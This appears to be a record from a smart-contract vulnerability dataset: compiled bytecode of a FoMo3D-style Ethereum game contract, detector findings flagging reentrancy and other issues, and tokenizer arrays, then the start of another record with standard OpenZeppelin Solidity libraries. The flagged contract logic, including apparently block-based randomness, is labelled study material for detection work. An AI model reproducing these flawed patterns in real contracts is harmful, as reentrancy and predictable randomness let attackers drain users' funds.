602052604090206004015401811115612c03576000828152600b6020526040902060020154610f67908263ffffffff61453716565b6002546000838152600b6020526040902060040154610f6791018263ffffffff61453716565b60009250610f78565b6002546000838152600b6020526040812060040154909142910181118015612c9c57506000848152600b602052604090206002015481111580612c9c57506000848152600b602052604090206002015481118015612c9c57506000848152600b6020526040902054155b15612cca576000848152600b6020526040902060060154612cc3908463ffffffff6145f416565b9150612cd3565b612cc383614615565b5092915050565b6005546002546000828152600b602052604081206004015490929142910181118015612d4857506000828152600b602052604090206002015481111580612d4857506000828152600b602052604090206002015481118015612d4857506000828152600b6020526040902054155b15612d7c576000828152600b6020526040902060050154612d75908590610f5b908263ffffffff61388916565b9250612d85565b612d758461468d565b5050919050565b600f5460ff1681565b60035481565b6008602052600090815260409020805460018201546002830154600384015460048501546005860154600690960154600160a060020a039095169593949293919290919087565b6005546001016000818152600b6020526040902060070154612e0a903463ffffffff61388916565b6000828152600b6020908152604091829020600701929092558051838152349281019290925280517f74b1d2f771e0eff1b2c36c38499febdbea80fe4013bdace4fc4b653322c2895c9281900390910190a150565b6000806000806000806000806000600554915050600160a060020a038916600090815260066020908152604080832054808452600880845282852060018082015460098752858820898952875294872001549583905293526002830154600590930154909384939091612ef590612ed7908690614597565b6000878152600860205260409020600301549063ffffffff61388916565b600095865260086020908152604080882060040154600983528189209989529890915290952054939e929d50909b509950919750919550909350915050565b60008581526009602090815260408083208984529091528120600101548190819081901515612f6a57612f6789866146fa565b94505b60008a8152600b602052604090206006015468056bc75e2d63100000118015612fc4575060008981526009602090815260408083208d8452909152902054671d24b2dfac52000090612fc2908a63ffffffff61388916565b115b1561304b5760008981526009602090815260408083208d8452909152902054612ffc90671d24b2dfac5200009063ffffffff61453716565b935061300e888563ffffffff61453716565b60008a815260086020526040902060030154909350613033908463ffffffff61388916565b60008a81526008602052604090206003015592965086925b633b9aca008811156134795760008a8152600b6020526040902060060154613079908963ffffffff6145f416565b9150670de0b6b3a764000082106130f057613094828b614759565b60008a8152600b602052604090205489146130bb5760008a8152600b602052604090208990555b60008a8152600b602052604090206001015486146130e85760008a8152600b602052604090206001018690555b845160640185525b67016345785d8a0000881061333057600480546001019055613110614835565b15156001141561333057678ac7230489e8000088106131b15760035460649061314090604b63ffffffff6143f216565b81151561314957fe5b60008b8152600860205260409020600201549190049150613170908263ffffffff61388916565b60008a815260086020526040902060020155600354613195908263ffffffff61453716565b60035584516d0eca8847c4129106ce8300000000018552613305565b670de0b6b3a764000088101580156131d05750678ac7230489e8000088105b1561325d576003546064906131ec90603263ffffffff6143f216565b8115156131f557fe5b60008b815260086020526040902060020154919004915061321c908263ffffffff61388916565b60008a815260086020526040902060020155600354613241908263ffffffff61453716565b60035584516d09dc5ada82b70b59df0200000000018552613305565b67016345785d8a0000881015801561327c5750670de0b6b3a764000088105b156133055760035460649061329890601963ffffffff6143f216565b8115156132a157fe5b60008b81526008602052604090206002015491900491506132c8908263ffffffff61388916565b60008a8152600860205260409020600201556003546132ed908263ffffffff61453716565b60035584516d0eca8847c4129106ce83000000000185525b84516d314dc6448d9338c15b0a000000008202016c7e37be2022c0914b268000000001855260006004555b60045485516103e890910201855260008981526009602090815260408083208d845290915290206001015461336c90839063ffffffff61388916565b60008a81526009602090815260408083208e84529091529020600181019190915554613399908990613889565b60008a81526009602090815260408083208e8452825280832093909355600b905220600501546133d090839063ffffffff61388916565b60008b8152600b602052604090206005810191909155600601546133fb90899063ffffffff61388916565b60008b8152600b6020908152604080832060060193909355600c81528282208983529052205461343290899063ffffffff61388916565b60008b8152600c602090815260408083208a845290915290205561345a8a8a8a8a8a8a614a4c565b945061346a8a8a8a89868a614c56565b945061347989878a8589614dc4565b50505050505050505050565b61348d615161565b6005546000818152600b6020526040812080546001820154600790920154909280808080808060646134c689603063ffffffff6143f216565b8115156134cf57fe5b04965060328860008b8152600e602052604090205491900496506064906134fd908a9063ffffffff6143f216565b81151561350657fe5b60008b8152600e60205260409020600101549190049550606490613531908a9063ffffffff6143f216565b81151561353a57fe5b04935061355584611ddf87818a818e8e63ffffffff61453716565b60008c8152600b602052604090206005015490935061358286670de0b6b3a764000063ffffffff6143f216565b81151561358b57fe5b60008d8152600b602052604090206005015491900492506135d990670de0b6b3a7640000906135c190859063ffffffff6143f216565b8115156135ca57fe5b8791900463ffffffff61453716565b90506000811115613609576135f4858263ffffffff61453716565b9450613606838263ffffffff61388916565b92505b60008a81526008602052604090206002015461362c90889063ffffffff61388916565b60008b8152600860205260408082206002019290925580549151600160a060020a039092169188156108fc0291899190818181858888f19350505050158015613679573d6000803e3d6000fd5b50600054600160a060020a03166108fc6136968660028104614537565b6040518115909202916000818181858888f193505050501580156136be573d6000803e3d6000fd5b506136cc8860028604613889565b60008c8152600b602052604090206007810191909155600801546136f790839063ffffffff61388916565b600b60008d815260200190815260200160002060080181905550600b60008c815260200190815260200160002060020154620f4240028d60000151018d60000181815250508867016345785d8a0000028a6a52b7d2dcc80cd2e4000000028e6020015101018d6020018181525050600860008b815260200190815260200160002060000160009054906101000a9004600160a060020a03168d60400190600160a060020a03169081600160a060020a031681525050600860008b8152602001908152602001600020600101548d606001906000191690816000191681525050868d6080018181525050848d60e0018181525050838d60c0018181525050828d60a00181815250506005600081548092919060010191905055508a806001019b505042600b60008d81526020019081526020016000206004018190555061385a60025461384e6103844261388990919063ffffffff16565b9063ffffffff61388916565b60008c8152600b6020526040902060028101919091556007018390558c9b505050505050505050505050919050565b818101828110156138e4576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b92915050565b6000613910613907613902858563ffffffff61453716565b61468d565b611ddf8561468d565b9392505050565b6000808210806139275750600382115b1561393457506002613937565b50805b919050565b6005546002546000828152600b6020526040902060040154429101811180156139a757506000828152600b6020526040902060020154811115806139a757506000828152600b6020526040902060020154811180156139a757506000828152600b6020526040902054155b156139de576139b984611ddf89613b58565b6000888152600860205260409020600301556139d9828886898988612f34565b611917565b6000828152600b602052604090206002015481118015613a1057506000828152600b602052604090206003015460ff16155b15611917576000828152600b60205260409020600301805460ff19166001179055613a3a83613485565b925080670de0b6b3a764000002836000015101836000018181525050868360200151018360200181815250507f88261ac70d02d5ea73e54fa6da17043c974de1021109573ec1f6f57111c823dd33600860008a815260200190815260200160002060010154856000015186602001518760400151886060015189608001518a60a001518b60c001518c60e00151604051808b600160a060020a0316600160a060020a031681526020018a6000191660001916815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019a505050505050505050505060405180910390a150505050505050565b6000818152600860205260408120600501548190613b77908490614f32565b600083815260086020526040902060048101546003820154600290920154613ba99261384e919063ffffffff61388916565b90506000811115613bd55760008381526008602052604081206002810182905560038101829055600401555b8091505b50919050565b8051600090829082808060208411801590613bfa5750600084115b1515613c76576040805160e560020a62461bcd02815260206004820152602a60248201527f737472696e67206d757374206265206265747765656e203120616e642033322060448201527f6368617261637465727300000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515613c8557fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214158015613cec57508460018503815181101515613cc457fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214155b1515613d68576040805160e560020a62461bcd02815260206004820152602560248201527f737472696e672063616e6e6f74207374617274206f7220656e6420776974682060448201527f7370616365000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515613d7757fe5b90602001015160f860020a900460f860020a02600160f860020a031916603060f860020a021415613eba57846001815181101515613db157fe5b90602001015160f860020a900460f860020a02600160f860020a031916607860f860020a0214151515613e2e576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030780000000000604482015290519081900360640190fd5b846001815181101515613e3d57fe5b90602001015160f860020a900460f860020a02600160f860020a031916605860f860020a0214151515613eba576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030580000000000604482015290519081900360640190fd5b600091505b8382101561438a5784517f400000000000000000000000000000000000000000000000000000000000000090869084908110613ef757fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015613f6b575084517f5b0000000000000000000000000000000000000000000000000000000000000090869084908110613f4c57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b15613fd8578482815181101515613f7e57fe5b90602001015160f860020a900460f860020a0260f860020a900460200160f860020a028583815181101515613faf57fe5b906020010190600160f860020a031916908160001a905350821515613fd357600192505b61437f565b8482815181101515613fe657fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214806140b6575084517f60000000000000000000000000000000000000000000000000000000000000009086908490811061404257fe5b90602001015160f860020a900460f860020a02600160f860020a0319161180156140b6575084517f7b000000000000000000000000000000000000000000000000000000000000009086908490811061409757fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b80614160575084517f2f00000000000000000000000000000000000000000000000000000000000000908690849081106140ec57fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015614160575084517f3a000000000000000000000000000000000000000000000000000000000000009086908490811061414157fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b15156141dc576040805160e560020a62461bcd02815260206004820152602260248201527f737472696e6720636f6e7461696e7320696e76616c696420636861726163746560448201527f7273000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b84828151811015156141ea57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214156142c957848260010181518110151561422657fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a02141515156142c9576040805160e560020a62461bcd02815260206004820152602860248201527f737472696e672063616e6e6f7420636f6e7461696e20636f6e7365637574697660448201527f6520737061636573000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b82158015614375575084517f30000000000000000000000000000000000000000000000000000000000000009086908490811061430257fe5b90602001015160f860020a900460f860020a02600160f860020a0319161080614375575084517f39000000000000000000000000000000000000000000000000000000000000009086908490811061435657fe5b90602001015160f860020a900460f860020a02600160f860020a031916115b1561437f57600192505b600190910190613ebf565b6001831515146143e4576040805160e560020a62461bcd02815260206004820152601d60248201527f737472696e672063616e6e6f74206265206f6e6c79206e756d62657273000000604482015290519081900360640190fd5b505050506020015192915050565b6000821515614403575060006138e4565b5081810281838281151561441357fe5b04146138e4576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b60008281526009602090815260408083208484528252808320600190810154600b8085528386206005810154938101548752600e8652938620548787529452600790920154670de0b6b3a764000093614526939261451a9290916144f19187916064916144db9163ffffffff6143f216565b8115156144e457fe5b049063ffffffff6143f216565b8115156144fa57fe5b6000888152600b602052604090206008015491900463ffffffff61388916565b9063ffffffff6143f216565b81151561452f57fe5b049392505050565b600082821115614591576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b600082815260096020908152604080832084845282528083206002810154600190910154600b9093529083206008015461391092670de0b6b3a7640000916145de916143f2565b8115156145e757fe5b049063ffffffff61453716565b600061391061460284614615565b611ddf614615868663ffffffff61388916565b60006309502f9061467d6d03b2a1d15167e7c5699bfde00000611ddf6146787a0dac7055469777a6122ee4310dd6c14410500f290484000000000061384e6b01027e72f1f128130880000061451a8a670de0b6b3a764000063ffffffff6143f216565b614fc9565b81151561468657fe5b0492915050565b60006146a0670de0b6b3a764000061501c565b61467d60026146d36146c086670de0b6b3a764000063ffffffff6143f216565b65886c8f6730709063ffffffff6143f216565b8115156146dc57fe5b0461384e6146e98661501c565b6304a817c89063ffffffff6143f216565b614702615161565b6000838152600860205260409020600501541561473657600083815260086020526040902060050154614736908490614f32565b506005805460009384526008602052604090932001919091558051600a01815290565b6000818152600b60205260408120600201544291908211801561478857506000838152600b6020526040902054155b156147ac576147a58261384e600a670de0b6b3a7640000886144e4565b90506147d9565b6000838152600b60205260409020600201546147d69061384e600a670de0b6b3a7640000886144e4565b90505b6147eb6103848363ffffffff61388916565b81101561480b576000838152600b60205260409020600201819055611cc4565b61481d6103848363ffffffff61388916565b6000848152600b602052604090206002015550505050565b6000806149a64361384e42336040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106148b05780518252601f199092019160209182019101614891565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120925050508115156148e657fe5b0461384e4561384e42416040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b6020831061495f5780518252601f199092019160209182019101614940565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209250505081151561499557fe5b0461384e424463ffffffff61388916565b604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b602083106149f45780518252601f1990920191602091820191016149d5565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912060045490945092506103e89150839050046103e80282031015614a435760019150614a48565b600091505b5090565b614a54615161565b606485046032860460008080614a6a8486613889565b60008054604051929650600160a060020a031691869181818185875af1925050501515614a975760009392505b600a8a0491508a8914158015614abd575060008981526008602052604090206001015415155b15614b5d57600089815260086020526040902060040154614ae590839063ffffffff61388916565b60008a815260086020908152604091829020600481019390935582546001909301548251600160a060020a03909416845290830152818101849052426060830152518c918e918c917f590bbc0fc16915a85269a48f74783c39842b7ae9eceb7c295c95dbe8b3ec7331919081900360800190a4614b61565b8192505b6000888152600d6020526040902060010154614ba390606490614b8b908d9063ffffffff6143f216565b811515614b9457fe5b8591900463ffffffff61388916565b92506000831115614c4657506000546002830490600160a060020a03166108fc614bcd8584614537565b6040518115909202916000818181858888f19350505050158015614bf5573d6000803e3d6000fd5b5060008c8152600b6020526040902060070154614c18908263ffffffff61388916565b60008d8152600b602052604090206007015560c0870151614c4090849063ffffffff61388916565b60c08801525b50949a9950505050505050505050565b614c5e615161565b6000848152600d6020526040812054819081908190606490614c87908b9063ffffffff6143f216565b811515614c9057fe5b049350606489049250614cae8360035461388990919063ffffffff16565b6003556000888152600d6020526040902060010154614d1f90614d1290606490614cdf908d9063ffffffff6143f216565b811515614ce857fe5b046064614cfc8d600e63ffffffff6143f216565b811515614d0557fe5b049063ffffffff61388916565b8a9063ffffffff61453716565b9850614d31898563ffffffff61453716565b9150614d3f8b8b868a615028565b90506000811115614d5d57614d5a848263ffffffff61453716565b93505b60008b8152600b6020526040902060070154614d839061384e848463ffffffff61388916565b60008c8152600b602052604090206007015560e0860151614dab90859063ffffffff61388916565b60e0870152506101008501525091979650505050505050565b836c01431e0fae6d7217caa00000000242670de0b6b3a76400000282600001510101816000018181525050600554751aba4714957d300d0e549208b31adb100000000000000285826020015101018160200181815250507f500e72a0e114930aebdbcb371ccdbf43922c49f979794b5de4257ff7e310c7468160000151826020015160086000898152602001908152602001600020600101543387878760400151886060015189608001518a60a001518b60c001518c60e001518d6101000151600354604051808f81526020018e81526020018d600019166000191681526020018c600160a060020a0316600160a060020a031681526020018b81526020018a815260200189600160a060020a0316600160a060020a0316815260200188600019166000191681526020018781526020018681526020018581526020018481526020018381526020018281526020019e50505050505050505050505050505060405180910390a15050505050565b6000614f3e8383614597565b90506000811115614fc457600083815260086020526040902060030154614f6c90829063ffffffff61388916565b6000848152600860209081526040808320600301939093556009815282822085835290522060020154614fa690829063ffffffff61388916565b60008481526009602090815260408083208684529091529020600201555b505050565b6000806002614fd9846001613889565b811515614fe257fe5b0490508291505b81811015613bd957809150600261500b828581151561500457fe5b0483613889565b81151561501457fe5b049050614fe9565b60006138e482836143f2565b6000848152600b60205260408120600501548190819061505686670de0b6b3a764000063ffffffff6143f216565b81151561505f57fe5b6000898152600b6020526040902060080154919004925061508790839063ffffffff61388916565b6000888152600b6020526040902060080155670de0b6b3a76400006150b2838663ffffffff6143f216565b8115156150bb57fe5b60008881526009602090815260408083208c8452825280832060020154600b9092529091206008015492909104925061510e9161384e908490670de0b6b3a7640000906145de908a63ffffffff6143f216565b60008781526009602090815260408083208b8452825280832060020193909355600b9052206005015461515690670de0b6b3a7640000906135c190859063ffffffff6143f216565b979650505050505050565b6101206040519081016040528060008152602001600081526020016000600160a060020a03168152602001600080191681526020016000815260200160008152602001600081526020016000815260200160008152509056006e20646973636f72640000000000000000000000000000000000000000000000706f636b6574206c696e743a206e6f7420612076616c69642063757272656e63697473206e6f74207265616479207965742e2020636865636b203f65746120696e6f20766974616c696b2c206e6f000000000000000000000000000000000000736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a7230582024dd7e85bb3fc1be6901e07a22a316d7b5487fe3344c268f776ccfeedb163ab40029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2692,
2581,
2575,
2683,
2497,
2581,
2475,
2063,
2620,
2546,
2692,
2581,
14142,
2278,
2692,
2063,
2683,
16932,
23352,
2094,
2509,
2497,
2487,
2278,
23833,
2278,
28756,
2692,
2497,
2692,
2620,
2094,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
3206,
1042,
29097,
18697,
7666,
1063,
1013,
1013,
5045,
7188,
1037,
2447,
18687,
1037,
2171,
2724,
2006,
2638,
7962,
14074,
1006,
21318,
3372,
17788,
2575,
25331,
2447,
3593,
1010,
4769,
25331,
2447,
4215,
16200,
4757,
1010,
27507,
16703,
25331,
2447,
18442,
1010,
22017,
2140,
3475,
7974,
13068,
2121,
1010,
21318,
3372,
17788,
2575,
8727,
3593,
1010,
4769,
8727,
4215,
16200,
4757,
1010,
27507,
16703,
8727,
18442,
1010,
21318,
3372,
17788,
2575,
3815,
4502,
3593,
1010,
21318,
3372,
17788,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,421 | 0x9520d443a04c3252e5ffbefcd3e976eeb6c4509f | pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
